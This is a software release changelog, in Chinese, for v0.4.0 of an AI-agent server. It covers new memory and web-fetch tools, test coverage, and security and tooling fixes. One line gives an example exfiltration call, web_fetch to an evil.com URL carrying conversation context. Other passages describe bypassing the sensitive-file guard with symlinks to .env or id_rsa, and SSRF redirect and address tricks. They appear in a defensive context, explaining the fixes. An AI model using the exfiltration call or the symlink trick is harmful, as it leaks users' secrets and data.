Skip to content

v0.4.0

Choose a tag to compare

@LPK3215 LPK3215 released this 10 Oct 10:11
· 19 commits to main since this release

Added

  • 跨会话记忆(默认开,PI_MEMORY=off 关):新增 src/memory/store.ts 与 remember / recall 两个工具,补齐 docs/智能体视角评估.md 里被点名的「最后两块砖」之一——此前每次新对话都从零开始,「记住我」不可能。落盘成 JSONL(默认 ~/.pi/agent/pi-starter-memory.jsonl,原子写:先写同目录临时文件再 rename,与 settings.ts 同一口径),重启后仍在。

    • 有界:单条正文 4KB、标签 16 个 × 48 字符、总量 2000 条(超出淘汰最旧的并如实回报条数)、文件 4MB 封顶。无界记忆等于把上下文窗口交给时间。
    • 写的是「跨会话有用」的信息:同一段正文重复写入是覆盖而不是新增(模型重复「记住」是常态);rules.md 明确写了该记什么、不该记什么。与知识库刻意分开——知识库只读、进系统提示词目录;记忆可写、不进提示词正文、按需 recall。
    • 可注入 / 可关:buildAgent({ memory }) 换实现、buildAgent({ memory: false }) 关闭(两个工具都不注册,能力目录里也不会出现);PI_MEMORY 只有明确 off / false / 0 才算关(与 PI_WEB 的取值风格一致)。GET/POST/DELETE /memory 把同一份 store 暴露成 REST,与工具同源。
    • 落盘损坏行 / 读失败只告警回落,不让一次对话崩掉——与 settings.ts「配置坏了要能改回来」同一原则。
  • 联网能力(可选,默认关):新增 src/tools/web.ts 的 web_fetch / web_search,由 PI_WEB=on(或 buildAgent({ web: true, webClient }))开启。补齐了「rules.md 要求一切外部事实必须工具核实,但默认装配里根本没有联网工具」这个能力缺口。默认关闭的理由与 coding 档一致且更直接:出站网络是数据外泄通道(web_fetch("https://evil.com/?d=<上下文内容>")),而本服务默认无鉴权。

    • 后端可注入:WebClient 接口(fetchPage + 可选 search),换搜索源 / 加缓存 / 加审计只改实现,工具契约与模型侧不变;lib.ts 已导出类型。
    • SSRF 防护:只放行 http/https,拒绝回环 / 私有 / 链路本地 / 组播 / CGNAT / IPv4 映射地址,并检查 DNS 解析结果与重定向后的最终地址(::ffff:127.0.0.1 会被 new URL() 归一化成 ::ffff:7f00:1,十六进制写法同样覆盖)。isPrivateAddress 认不出的输入按私有处理(fail-closed)。
    • 限额:字节上限(默认 256KB,硬顶 2MB)与超时(默认 15s,硬顶 60s)都夹取,模型无法用参数顶掉;超限是边读边停,不把整页拉进内存。
    • 不假装能搜:后端没有 search() 时不注册 web_search(与 rag:smoke 打印 SKIP 同一原则);默认的 DuckDuckGo 无 JS 版解析是 best-effort,抽不到就如实说「没有命中」。
    • 能力标签 net → inferRisk 判 medium;与 exec 同口径不进 allTools,开了才登记进 ToolRegistry。SECURITY.md / .env.example / 两份 README 都已注明「未被缓解的部分」(URL 由模型决定,DNS 解析与建连之间存在 TOCTOU 窗口)。
  • setup.ts 与资源路由的测试(49 个测试文件 / 467 用例,覆盖率 92.53% → 92.66%):

    • setup.test.ts 扩充 6 例(setup.ts 82% → 86.65%):ensureEnvFile 的三条路径(无 .env 时复制并 0600、已有 .env 不覆盖、两者都缺则明确报错)、多 provider 时没找到密钥的只进 authKeyMissing 且不落盘而默认 provider 缺密钥才致命、PI_API_KEY_<PROVIDER> 优先且名字里的 - 换算成 _、auth.json 0600 / agent 目录 0700 的权限。其中复制 .env 那条测试用 withEnvSnapshot 包住(setupPiAgentDir 会 loadEnvFile() 写 process.env,不还原会污染同进程其它用例)。
    • app.test.ts 扩充 5 例(http/routes.ts 88% → 89.3%):/skills 列表不带正文而详情读磁盘正文、SKILL.md 读不出来时响应里不能出现绝对路径、/knowledge 列表/搜索/详情的路由顺序(/knowledge/search 不能被 :name 抢走)、/prompt-templates 的 argumentHint 只在有值时才出现、以及依赖全挂时 liveness 仍 200 而 readiness 变 503 并逐项给原因。
  • 进程执行的工具层测试(src/tools/exec.test.ts,13 例,exec.ts 79% → 100%):src/exec/runner.ts 有测试,但工具层完全没有 —— 也就是「参数怎么翻译成 runner 调用」与「结果怎么呈现给模型」这两段从未被执行过,而它们恰好是模型直接看到的部分。覆盖:只有 coding 档且给了环境才装配(off / readonly / 缺环境一律空)、exec_jobs 的能力必须是手写的 shell.observe(按名字推断会推错)、非零退出与超时必须标成 isError、后台任务立即返回 id 并提示下一步用哪个工具、输出截断必须说出来、非法 timeout_seconds 在调用 runner 之前就被拦下(断言 runs.length === 0)、AbortSignal 原样透传、超长命令在列表里截断而不是撑爆一行。

  • 联网抓取的真实路径测试(web.test.ts 11 → 23 例,web.ts 77% → 92.95%):此前只测了假后端,fetchPage 里的字节上限、重定向、超时、content-type 判定全都没被真实执行过。现在起本地 HTTP 服务跑真实抓取,覆盖:HTML 转纯文本 / JSON 不被拍平、正文恰好等于上限时 truncated=false、超限截断、404 与 image/png 翻成可读 WebError、正常跟随重定向且每一跳都过策略、302 到被禁主机时请求不发出、超过 MAX_REDIRECTS 即停、超时翻成 timeout、注入放行策略后非 http/https 仍被拒、重定向目标是非法 URL 时报错而不是崩在 new URL。

  • WS 分派层的畸形输入测试(integration.test.ts,ws.ts 76% → 83.42%):这一层此前只有跨进程的 npm run smoke 覆盖(那些覆盖率不进 npm test 统计),而它最容易「一个坏输入打死整条连接」。覆盖:prompt 带 data: 前缀 / 非白名单 MIME / 超过 4 张图片、set_label·edit_message·rollback_conversation 缺 entryId、rename_conversation 缺 title、打开或删除不存在的会话、非法思考档位、未知命令名(走「未注册命令」分支并带提示,而不是静默丢弃)、空串与纯空白 type 在协议层被拒 —— 以及一连串畸形输入之后 ping 仍必须得到 pong。

  • 五个「未覆盖即未验证」模块的测试(本轮第二批,49 个测试文件 / 456 用例,覆盖率 90.45% → 92.53%):

    • src/prompt-images.test.ts(6 例,44% → 100%):parsePromptImages 是 prompt / steer / follow_up 三条 WS 命令共用的唯一入口校验,此前只被间接带到 —— 等于「模型收到一张损坏的图」这条路径从未验证过。覆盖 MIME 白名单(image/svg+xml 拒收)、data: 前缀、非法 base64、正则过得了但解码为 0 字节(单字符 "a")与恰好等于上限的边界。
    • src/extensions/audit.test.ts(6 例,56% → 100%):这个扩展的价值全在「记什么、不记什么」上。核心断言是日志里绝不能出现参数值(含 sk- 密钥与 SQL 原文),只记字段名;以及失败的调用走 warn、logArgKeys=false 时连字段名都不记、超出 256 条进行中调用时最早的被淘汰。
    • src/tools/ask-user-question.test.ts(5 例,56% → 100%):HITL 工具出错不是「答得不对」而是「整轮卡死」或「悄悄跳过」。覆盖无 UI 时绝不假装等待且不调用任何 ui 方法、AbortSignal 必须透传(否则桥那头无法取消)、confirm 选「否」与取消一样算未作答。
    • src/tools/resource.test.ts 扩充(7 例,knowledge.ts 71% → 100%、database.ts 73% → 98.7%):search_knowledge 的 limit 夹取 [1, 50](100000 / 0 / 负数 / NaN / 非数字字符串 / 缺省六种输入)、未知文档名要列出可用项、db_query 的非只读 SQL 必须在落到 database.query 之前被拒(断言 called === 0)、查询抛错翻成「查询失败:…」、被截断时必须显式告知真实总行数并给出可执行下一步。
    • src/http/approval-routes.test.ts 扩充(4 例,71% → 100%):GET 的 builtin 标记与 userCount、PUT 整体替换的四条拒绝路径(非数组 / 超 MAX_USER_RULES / 含内置 / 单条非法)且被拒时不落地、达到上限后「新增」被拒但同 id 覆盖仍可用、手改 rules.json 塞 builtin: true 也删不掉。
    • src/tools/current-time.test.ts(4 例,70.59% → 100%):见上一条 Fixed。
  • 文件服务路由层测试(src/http/file-routes.test.ts,9 例):file-routes.ts 此前覆盖率 43.24%(全项目最低之一)而没有任何测试,可它正是把工作目录暴露成 HTTP 的那一层。覆盖:未提供 FileService 时 /files/* 完全不注册、requirePath 的 fail-closed(缺/空白 path = 400,不悄悄退回根目录)、敏感文件在 read / raw / 列表预览 三个出口都被拦且不回显内容、recursive 必须是布尔 true(字符串 "true" 不算数)、Range 语义(206 / bytes=-N 后缀区间 / 416 + Content-Range: bytes */size / 无 Range 超限 413 / download=true / 二进制扩展名给 octet-stream)、上传的字节级往返(历史 bug 是 write + toString("utf8") 损坏非 UTF-8 字节)。
    覆盖率 43.24% → 100%,全项目 89.80% → 90.45%(棘轮阈值随之抬到 lines 90 / branches 79 / functions 83)。
    同时把「上传上限是两层叠加」这件事写进了代码注释与测试:/files/upload 的 5MB 是第二层,默认 JSON body 上限 1mb 会先挡一道(base64 还放大 4/3),所以默认配置下原始字节刚过 1MB 就被 413,那个 5MB 检查不可达;只有把 bodyLimit 提到约 7mb 以上它才生效。

  • 参考手册(从源码生成):新增 docs/参考手册.md + scripts/visualization/generate_reference.mjs,把「能力面」整个算出来:34 条 WS 客户端命令与 21 个服务端帧(按分组 + JSDoc 摘要)、60+ REST 路由处理器、工具清单(装配档位 + 能力标签 + 风险)、全部 58 个环境变量、全部 npm 脚本、模块地图。此前 WS 协议有 57 个消息类型却没有任何参考文档,REST 有 60+ 路由而 README 只列了 4 个,22 个环境变量在两份 README 里一个字都没有。
    生成过程自带一致性断言(不通过即非零退出):解析出的客户端命令集合必须与 protocol.ts 里带编译期守卫的 CLIENT_MESSAGE_TYPES 完全一致(拿编译期保证校验解析器本身);src/tools/* 里的每个工具名必须在生成器的分组表里被登记,新增工具忘了归类会直接让门禁红;代码引用的 PI_* 必须都在 .env.example 登记过。npm run docs:check 已进 verify 与两套 CI。
    刻意没做:给协议命令强制要求 JSDoc。当前说明覆盖率是客户端 4/34、服务端 7/21,手册如实印出覆盖率,但不设成门禁——逼出来的空说明比没有说明更糟。

  • README 的可验证数字改为生成:新增 scripts/visualization/generate_readme_numbers.mjs,把文件数 / 行数 / 用例数 / 路由数从源码算出来写进 <!-- BEGIN:generated-numbers --> 标记块,npm run docs:numbers:check 已进 verify 链与两套 CI。此前同一份 README 里 42 test files · 376 cases 与 # 376 unit + integration tests 对着不同的数字。

Security

  • guard 的敏感文件拦截只查字面名,可被工作区内的符号链接绕过:isDeniedName(basename(targetPath)) 只看字面 basename,而 cwd 内一个 alias.txt -> .env 的链接——字面名不命中名单、路径也确实在 cwd 内——上面两道校验都会放行,读出来的内容就是 .env。文件服务那边(files/service.ts 的 resolvePath)在 0.3.0 就补了「真实目标名也要查」这一层,guard 这个负责拦模型自身 read/write/edit 的旁路此前漏了,等于同一道门只关了一半(而 read 在任何档位都可用)。现补上同样的真实目标名校验(只在目标存在时解析,避免把父目录名误当成目标名),并加回归用例:绝对/相对目标的链接、指向 id_rsa 的链接、sub/../alias.txt 形式全部拦下,指向普通文件的链接不误伤。SECURITY.md 同步说明「两道门都查真实目标名」。
  • Linux / macOS 的 exec 主执行路径不再继承 PI_API_KEY(P1-2 漏网之鱼):src/exec/runner.ts 的 /bin/sh 分支此前直接传 process.env,而 src/child-env.ts 的模块说明声称「凡是 spawn 子进程的地方都从这里取 env」——它恰好是唯一没兑现的地方,也是主平台。现改为 childProcessEnv(),并修正同文件 taskkill 分支里那句「凡 spawn 口径一致」的注释。新增 src/exec/runner.test.ts 用例锁定:子进程读不到 PI_API_KEY / PI_API_KEY_<PROVIDER>,但 PATH 等必须保留(否则 shell 与外部工具跑不起来)。

Fixed

  • npm run setup 复制出来的 .env 是 0644(世界可读),而它正是要填 API Key 的文件:ensureEnvFile 用 copyFileSync(.env.example, .env),而 copyFileSync 会把源文件的权限位一并带过来(实测:源 644 → 副本 644)。本项目对 auth.json(0600)、向量库(0600)、provider-keys(0600)都坚持最小权限,.env 不该例外。现在复制后显式 chmod 0600(Windows 上尽力而为,与 writeJsonFile 同一口径),并加回归用例断言权限位。
  • 联网抓取的重定向会在校验之前就把请求打到下一跳(web_fetch 的 SSRF 面):原实现用 fetch(..., { redirect: "follow" }),等响应回来才检查 response.url —— 也就是 302 到 10.0.0.1 时请求已经发出去了,事后检查只能阻止「把内容读回来」,挡不住「内网端点被触发」(对带副作用的 GET 就是真实影响)。现在改为 redirect: "manual" 自己跟,每一跳都在发请求之前过一遍 host 策略,共用一个超时,并用 MAX_REDIRECTS = 5 封顶。新增回归用例:公网点 302 到被禁主机时,被禁主机收到 0 个请求。
  • readCapped 的差一错误:正文恰好等于上限时误报「已截断」:判断写的是 total + value.length >= maxBytes,于是长度正好等于上限的正文被标成 truncated: true —— 一个字都没丢,工具却对模型说「正文已按上限截断」。改成 >,并加回归用例。
  • urlGuard 可注入:HttpWebClient 新增 urlGuard?: UrlGuard(默认 assertPublicHost),内网部署 / 走自有出口代理时可替换。协议校验(只允许 http/https)刻意不经过它,所以换 host 策略也换不掉这一条 —— 有对应用例锁定。
  • current_time 在模型写 UTC+8 / GMT+8 时直接抛 RangeError:toLocaleString 只认 IANA 时区名,而这两种恰好是模型最可能写出来的写法(实测 RangeError: Invalid time zone specified: UTC+8)。工具此前没有任何测试、execute 从未被执行过,所以一直没暴露。现改为如实说明并给出可用写法(含「东八区应写 Etc/GMT-8,符号是反的」这个最容易踩的点),details.ok=false 以便调用方区分。
  • /files/copy 复制目录必然 500(FileService.copy):代码校验完 recursive 之后仍然无条件调 copyFileSync,而它对目录直接抛 EISDIR —— 于是「传 recursive: true 去复制目录」100% 失败成 500,且即使不抛也只会留下一个空壳。改用 cpSync(..., { recursive: true }),并把复制失败翻译成 AppError 而不是裸抛。
  • 给目录改名会「先改盘、再报错」(FileService.rename):renameSync 成功之后无条件 this.read(toRel),而 read 只读文件,于是目录重命名永远在磁盘已经变了之后返回 400 —— 客户端看到失败、实际已生效,比单纯失败更难查。现按目标类型返回目录描述。
  • Range: bytes=-N 后缀区间永远返回 416(/files/raw):把后缀长度当成了结束下标,start(=size-N) > end(=N) 恒成立。播放器从尾部 seek 全废。现按规范分开处理后缀区间与普通区间(bytes=-0 仍判 416,符合 RFC)。
  • FileService 的 maxPreviewBytes 对 /files/raw 无效:路由读的是模块常量 DEFAULT_MAX_PREVIEW_BYTES 而不是 service 的配置,于是这个配置项只影响 /files/read。现读 service.maxPreviewBytes(字段改为公开只读)。

上面四条都是写 src/http/file-routes.test.ts 时当场发现的 —— 路由层此前没有任何测试,而它正是把工作目录暴露成 HTTP 服务的那一层。

  • generate_readme_numbers.mjs 的前端用例数写死了单个文件:它只数 web/src/pi/client.test.ts,于是加了 logClient.test.ts 之后 README 里仍然报 11(实际 19)。现改为从 package.json 的 test:web 脚本读文件清单。这类「与文件一致地错」的漂移 docs:numbers:check 是抓不到的(它只能发现「文件里写的和算出来的不一致」),所以口径本身必须来自脚本,不能写成常量。
  • 快照周期内不再重复取会话统计(P2-1):getSessionStats() 在 SDK 里是 sessionManager.getEntries() —— 每次调用都会 fileEntries.filter(...) 全量复制再全量扫描一遍会话条目,而快照每个周期都要读它。现改为按事件失效、周期内复用:只有流式增量(message_update / tool_execution_update)不作废缓存,其余事件一律作废(保守方向:宁多算一次,也不显示过期 token / cost)。src/integration.test.ts 有用例锁定「流式期间不重复取数、message_end 后必然重取」。
  • 投影签名的构造少了两次分配(P2-2):projectMessage 的签名从「数组 + join("|")」改为模板串 —— 同一个结果,但不再为每条消息先造 n 个中间字符串(这个签名每个快照周期都要为每条消息重建一次)。同时把 estimateTokensCached 的注释改正:它是 O(消息条数) 次 WeakMap 查询,不是注释原先声称的 O(新增消息数)。
  • docs/项目分析报告.md 会主动误导读者(文档一致性):它写于 0.3.0 之前,把一批已经修好的问题仍列为现状(/files/read?path=.env、PI_API_KEY 继承、db.query() 全量载入、子代理队列无上限…),并且在同一份文档里给出两组互相矛盾的验证数字(§0 记 smoke 23/23、e2e 39/0跳,§8 表记 smoke 17/17、e2e 35+1跳过),§1.2 的文件数也自相矛盾。现改为归档页:明确标注「历史快照,不再是现状描述」,逐条给出「当时判断 → 现在状态 + 依据」的对照表,并指向 智能体视角评估.md / README 的 Numbers / CHANGELOG 三个现状来源。正文通过 git 历史保留。
  • docs/能力与边界.md 的三处过期:基线 e24c4c7 → v0.3.0 及其后工作区(且不再手写规模数字,改为指向生成的 Numbers 表);「HITL 前端未接」→ 前端已接(web/src/components/HitlDialog.tsx);「docs/ 下只有三份活文档」→ 与实际目录一致,并区分手写与生成物。
  • scripts/release.mjs 的推送失败信息补上撤销步骤:原先只给「补推」命令,而走到那一步本地已经被改动过(版本回写提交 + 本地 tag)。现在按本次是否真的产生了回写提交,给出 git tag -d 与 git reset --hard HEAD~1 的完整还原步骤,并提醒已推送成功的远程要各自单独回退(脚本不会替你动已推送的引用)。
  • 前端依赖审计曾恒红,且本地完全看不见(npm run verify 与远端口径不一致):web/ 的依赖链里有一条高危通告 braces 的 GHSA-vfj7-8cjw-p6xm(深度嵌套模式导致栈耗尽),链路是 shadcn -> fast-glob -> micromatch -> braces。它没有可用修复——braces 最新版本就是受影响的 3.0.3(实测 npm view braces version = 3.0.3),上界 micromatch@4.0.8 / fast-glob@3.3.3 也均已是最新,npm audit fix --force 只会把 shadcn 降到 1.0.0(breaking change)且换不来修复(隔离复现过:加链式 override 后 braces 仍是 3.0.3,提示从「建议降级」变成「No fix available」)。而 .cnb.yml 的审计只在远端跑、npm run verify 里没有审计步骤,于是「本地绿」从来不等于「远端绿」。现做三件事:(1) 新增 web/scripts/check-audit.mjs + web/scripts/audit-baseline.json,把这条已复核、无修复的开发依赖通告登记在案(打印但不阻断),只对新增通告或影响范围变化判失败;(2) 新增 scripts/verify-audit.mjs 并接进 npm run verify——它跑与远端同一条命令(根包审计 + web/ 的 check:audit),缺 web/node_modules 时明确 SKIP 并说明原因,不假装通过;(3) 三套门禁(.cnb.yml 的 verify 链与 frontend 作业、GitHub CI 的 frontend 作业)口径统一。
  • shadcn 被错放进运行时依赖:它既不是运行时依赖、也不是纯开发依赖——构建期要用它的 shadcn/tailwind.css(src/index.css 第 3 行 @import,data-open / data-closed 等自定义变体只在这里定义),开发期又用它当 CLI(check:official)。但产物已内联进 web/dist,所以准确的归类是构建期依赖,已从 dependencies 移到 devDependencies;.cnb.yml 的 frontend 作业与 Dockerfile 的 web-builder 阶段都是全量 npm ci --prefix web,不受影响(实测移动后前端产物 CSS 哈希不变、shadcn/tailwind.css 仍可解析)。生产依赖因此为 0 高危。
  • publish:local 的 CNB Release 后端在 Windows 上必然炸,而预检却报"可用":cnbReady() 用 execSync("cnb --version")(经 shell,起得来),真正干活的 cnbRun / cnbQuery 却是 execFileSync("cnb", …)——Windows 上 npm 全局装的是 cnb.cmd,直接 spawn 报 ENOENT,点名 cnb.cmd 又被 Node 的 .bat/.cmd 防护挡成 EINVAL,只有经 cmd.exe 起得来,而 shell: true 下 Node 只拼接不转义参数(DEP0190),这里要传的正是 slug、tag 和 --body-file 的路径。于是「预检通过 → 写 Release 时崩」。现在按 scripts/npm-invocation.mjs 对 npm 的同一思路处理:从 .cmd shim 里取出真正的 JS 入口,用 node <entry> … 数组直传、不经 shell;取不到入口就按无法执行退出 2,不退化成"Release 不存在"(cnbQuery 原先把 spawn 失败一起 catch 成空串,dry-run 预览因此会说"将新建",而真实原因只是这台机器调不动 CLI)。实测:execFileSync("cnb") ENOENT、execFileSync("cnb.cmd") EINVAL、node …/@cnbcool/cnb-cli/bin/cnb.js --version 返回 1.17.3;publish:local --dry-run(临时把 host 设成 cnb)现在能真的查到 v0.3.0 的既有 Release 并预览为「将会更新」,把 PATH 里的 cnb 去掉则打印「无法执行 cnb CLI」并退出 2。
  • pipeline.config.json 的远程假设与仓库实际不符(发版路径):remotes 只写了 ["origin"],而同一份注释声称「本仓只配了一个远程(origin = CNB)」——实际拓扑是 origin = GitHub(README 的 Release 徽章、Issue 模板、.github/workflows/publish.yml 都挂它,remote 字段也显式写着 origin),cnb = CNB,而门禁只在 CNB 上跑。按原配置发版,分支与 tag 只进 GitHub,CNB 收不到 release 提交——那次发版在唯一会跑 verify / coverage / e2e / audit 的远程上没有任何回归保护。另一处相反:publish:local 新加的「按主远程宿主自动选 Release 后端」会选到 gh,注释却写「本仓主远程是 CNB,所以走 cnb」。现在 remotes 补齐为 ["origin","cnb"](主远程在前先推,镜像缺推只报警不阻断),两处注释改为按实际拓扑描述,并写明要换主远程就同时改 remote 与顺序。gh 与 cnb 两个 CLI 本机都实测存在。
  • 基线烂掉时闸门不报(web/scripts/check-audit.mjs):登记进 audit-baseline.json 的通告一旦不再出现(依赖升级或移除),原实现只打印一句提示就继续放行——闸门自称"按基线放过 1 条",实际那条什么都不挡,且没人会被一句 console.log 拦住。现在判失败(退出 1),要求把条目删掉或 --write-baseline 重生成。这条语义来自被弃用的分支 auto/web-audit-gate-2e54(它的 audit-gate.mjs 本来就是这个设计,合并时选的是另一条实现路线,把这个差异丢了)。判定要复跑确认:实测遇到过一次 npm audit 返回不含通告的报告,与"上游真的修好了"完全同形,单次消失即定罪就是假阳性;复跑拿不到结果时按「审计结果不可信」退 2,既不判消失也不放行。验证:正向 EXIT=0(GHSA-VFJ7-8CJW-P6XM 仍在);负向往 baseline 塞一条假 GHSA → 复跑仍不在 → EXIT=1 并列明该条。
  • 测试往 %TEMP% 里漏目录,实测 8529 个 / 5.0 GB:mkdtempSync(join(tmpdir(), "pi-…")) 全项目 111 处,其中 21 个测试文件一个删除动作都没有——会话 JSONL、SQLite 库、日志分片都是有体积的东西,而且每跑一轮全量测试就再长一层。「测试通过」从来不等于「资源释放了」。新增 src/test-tmp.ts(tempDir(prefix) + 进程退出统一回收,删除失败打印出来而不静默,Windows 上多半是 SQLite 句柄未关,那正是被测代码的问题),111 处调用全部换成 tempDir。验证:连跑三轮全量测试,/tmp/pi-* 数量 8529 → 8529 → 8529 → 8529(新增 0),504 用例 0 失败。scripts/verify-embed.mjs 的 embed-kb-* 同样漏(攒下 6 个),改成 try/finally 回收。
    • 顺带把两条注释变成事实:src/test-server.ts 的头注释写着「仅测试引用,不进 dist」,而 dist/test-server.js 一直在构建产物里、并随 files: ["dist", …] 发进 npm 包。tsconfig.build.json 现在排除 src/test-server.ts 与 src/test-tmp.ts,npm run build 后 dist 里两个都不存在(实测计数 0)。
  • integration.test.ts 的到达等待用的是固定 sleep(settle(150)×29 处),这正是 能力与边界.md §0 禁止的写法:十几个测试文件各开各的 HTTP/WS 服务时,一帧的到达时间能超过任何固定值,于是 errorsSince(from)[0]?.message ?? "" 取到空串、断言报 actual: '',重跑又绿——本轮第一次就是在并跑两个全量测试时撞上 4 例这种失败。 新增 waitError / waitErrors / waitFrame / waitState(都建在 test-server.ts的waitFor上),把**全部 17 处到达等待**改成等结果;只剩 2 处settle,都是**负向命题**(「服务端处理完这次 close 之后仍然没有多余帧」),各自带注释说明为什么没有帧可等。顺带删掉一个只为喂 lint 而存在的 const before … void before。 验证:并跑两个全量测试,两边都 504 用例 / 498 通过 / 0 失败(同场景改动前各崩 4 例);单跑 integration.test.ts` 从 9.2s 降到 2.8s——条件等待既更稳也更快,固定 sleep 只是用延迟换虚假的安全感。
    • 中途走过一条弯路,记在这里免得重演:先把 settle 改成「等帧流安静」,结果solo 全量跑反而挂了——安静窗口区分不了「没有更多帧」和「帧还没到」,帧晚到时就当成安静直接返回,比原来的固定 sleep 更早放行。判据必须是「等结果」,不是「等安静」。
  • npm run verify 在 Windows 上不可能通过(五处),而远端门禁全在 Linux 容器里:.cnb.yml 与 ci.yml 都用 node:24,本机是 Windows,于是这批红灯从来没被任何门禁看见过——包括那条自称「让本地与远端口径一致」的 verify:audit。逐条:
    1. 生成器把 path.relative 的分隔符原样写进产物(generate_readme_numbers.mjs / generate_reference.mjs)。Windows 上得到 src\conversation\conversation.ts,于是 docs:numbers:check 报漂移(数字全对,只差分隔符);docs:reference:check 的后果更隐蔽:toolsByFile 的键变成反斜杠路径,而 TOOL_TIERS 里手写的是 "tools/web.ts",get() 全部 miss → accountedTools 空 → 13 个工具全被报成「没有登记」,真漏登记的那条会被淹在假信号里。两处统一过 toPosix()。负向验证:把 tools/web.ts 从 TOOL_TIERS 摘掉,断言立刻只报 web_fetch, web_search——它确实在挡。
    2. setup 的权限断言在 Windows 上必红:Windows 的 chmod 只能置只读位,0600 与 0644 在 stat.mode 上不可区分(实测恒为 0o666)。拆成功能面(复制发生了、内容被真读进 auth.json,全平台跑)与权限面(POSIX 专属,t.skip 打印原因),沿用 knowledge/vector-store-sqlite.test.ts 的先例而不是裸 return。
    3. guard / files 的符号链接用例两处不一致:一处 symlinkSync 没有兜底,本机无特权时直接 EPERM 硬失败;另一处是 catch { return; },让一个从未执行过断言的用例显示成通过——正是 能力与边界.md §0 明令禁止的写法。两处都改成 t.skip(原因),跳过被打印、被统计。
    4. 依赖审计在 Windows 上恒红(scripts/verify-audit.mjs):execFileSync("npm", …) 里的 npm 是 npm.cmd,Node 不经 shell 无法 spawn .cmd(实测 ENOENT),而裸 catch {} 把它报成「审计失败」——审计根本没跑,却被当成跑出来有问题。
    5. 同一次坏掉的 spawn 在前端闸门上反向假绿(web/scripts/check-audit.mjs):--tolerate-network 把 ENOENT 归进「网络或 registry 故障」→ 退出 0,一边什么都不检查一边自称"跳过"。
      修法是把结论分成三种——通过 / 有通告 / 无法执行——并在真正审计前先探一次 npm --version(新增 scripts/npm-invocation.mjs:优先用 node 同侧的 npm-cli.js,不经 shell;Windows 才用 shell 兜底)。只加 shell: true 是半个修法:cmd.exe 会用退出码 1 报「不是内部或外部命令」,与一次正常的审计失败长得一模一样,所以探测必须在调用之前。负向验证(把候选路径全部改坏):verify:audit 与 check:audit:ci 现在都退 2 并写明「闸门跑不起来」,不再退 0,也不再误报成漏洞。修好后 Windows 上真跑通审计:生产依赖 0 高危,开发依赖 1 条已登记通告(braces)在基线内。
  • 并发开对话仍然能突破 maxOpenConversations(0.3.0 那次修法只把溢出从 cap+并发度 压到 cap+1):addConversation() 在「收容量」与「入册」之间必然要 await 会话工厂,而 WS 的 dispatch 是并行的(void this.dispatch(msg))。0.3.0 的做法是「分配完成后再补收一次」,可那次补收跑在 convs.set() 之前——刚分配出来的会话还不在 convs 里,evictForCapacity() 遍历不到它,自然收不掉。实测 cap=4 / 并发 12 时存活 session 峰值恒为 5,cap=8 时是 9:超出量有界,但「上限」在那个瞬间就是假的,而每个 AgentSession 都带一套完整的 loader、工具表与事件订阅。现在改成在 await 之前按「已入册 + 在途」占住名额(acquireSlot()),取不到就排队等、被唤醒后用 while 重新判定(名额可能被更早唤醒的那个抢走)。名额刻意不直接派发给队首:派发要求「领走就一定发生」,而领走后分配失败还要归还,一旦归还时队首已不再需要名额,就会把名额丢掉、让后面的人永久挂住——改成「归还即广播 + 每个等待者自己重试」,从结构上不存在丢失名额的路径。名额占持到入册完成或本次失败为止:handedOff = true 现在打在 getState() 之后,那次抛错原先会漏掉 dispose。测试见 src/client-session.test.ts 与 src/sessions/cap.test.ts。(这条改动原本只落在一个 message 为 2 的合并提交里,历史不便重写,故在此补齐记录。)
  • 4xx 的校验错误也往日志里写完整堆栈(src/errors.ts 的 toLogFields 无条件带 stack):http request rejected 那一行记的是「调用方写错了什么」,栈顶永远是校验器自己那一帧,没有一个字对排障有用,却能按请求规模放大——客户端对着 /logs?from=<非法值> 打一万次,日志就被同一条无用栈灌满;而这套日志刚做完「无损字节偏移分页 + 按 request_id 回溯」,可读性正是它的目的。证据就留在仓库里:一份被遗留的测试 stderr 中,两条通过的用例各吐了一整份 AppError 堆栈。现在只有 httpStatus >= 500,或原文刻意不出服务端(safeToExpose === false,那基本就是内部故障)才带栈与 cause 链;code / httpStatus / message / details / request_id 一律保留——省的是栈,不是原因。级别也不变(4xx 仍 warn,5xx 仍 error)。新增两条断言把边界钉死(正向:4xx 无栈;反向:藏了原文的 4xx 仍带栈),与既有的 5xx 全栈用例合起来三个方向都有覆盖。负向验证:把判据改回「永远带栈」,新用例立刻 2 例变红。

Changed

  • SDK 私有形状访问彻底收敛:session.navigateTree 从 session-hub.ts 就地断言改为 sdk-adapter.ts 的 sdkNavigateTree() —— 此前该文件自己的注释写着「私有访问统一收在 sdk-adapter」,而 navigateTree 是那个唯一没兑现的例外。
  • 覆盖率门禁(棘轮):新增 scripts/coverage.mjs,用 Node 内置 --experimental-test-coverage(零依赖,与测试同一次运行,不引入 c8/nyc),只看 src/**,阈值 lines>=92 / branches>=81 / functions>=85(棘轮,只允许往上调;当前实测 all files 92.94 / 81.20 / 85.77)。低版本 Node 上明确降级为普通测试并打印原因 —— 工具不支持不该被当成覆盖率不达标。已接入 .github/workflows/ci.yml 与 .cnb.yml。
  • 前端依赖审计改为基线化门禁:web/ 有自己的 lockfile,原先只审计根包等于前端依赖完全没人管。但裸 npm --prefix web audit --audit-level=high 会因一条无可用修复的高危通告恒红(见 Fixed 段的 GHSA-vfj7-8cjw-p6xm 条目),而恒红的闸门等于没有闸门。现改为 npm --prefix web run check:audit:ci:生产依赖(--omit=dev)必须 0 高危(硬门),开发依赖里的已知通告登记在 web/scripts/audit-baseline.json、只对新增或影响范围变化报错。两套 CI(.cnb.yml、.github/workflows/ci.yml)都已切换。
  • 前端测试面扩大:新增 web/src/pi/logClient.test.ts(8 例,无头、fetch 打桩),覆盖筛选 → query 映射、非 2xx 的错误文案、AbortSignal 透传,以及 queryAllForExport 的分页边界(含「结果恰好等于上限且已无下一页时不得谎报截断」这条回归)。前端用例数 11 → 19。
  • rules.md 新增第 10 条(联网):有 web_fetch 时用它核实外部事实并给出实际 URL;没有联网工具就直说无法核实,不拿记忆里的版本号当真。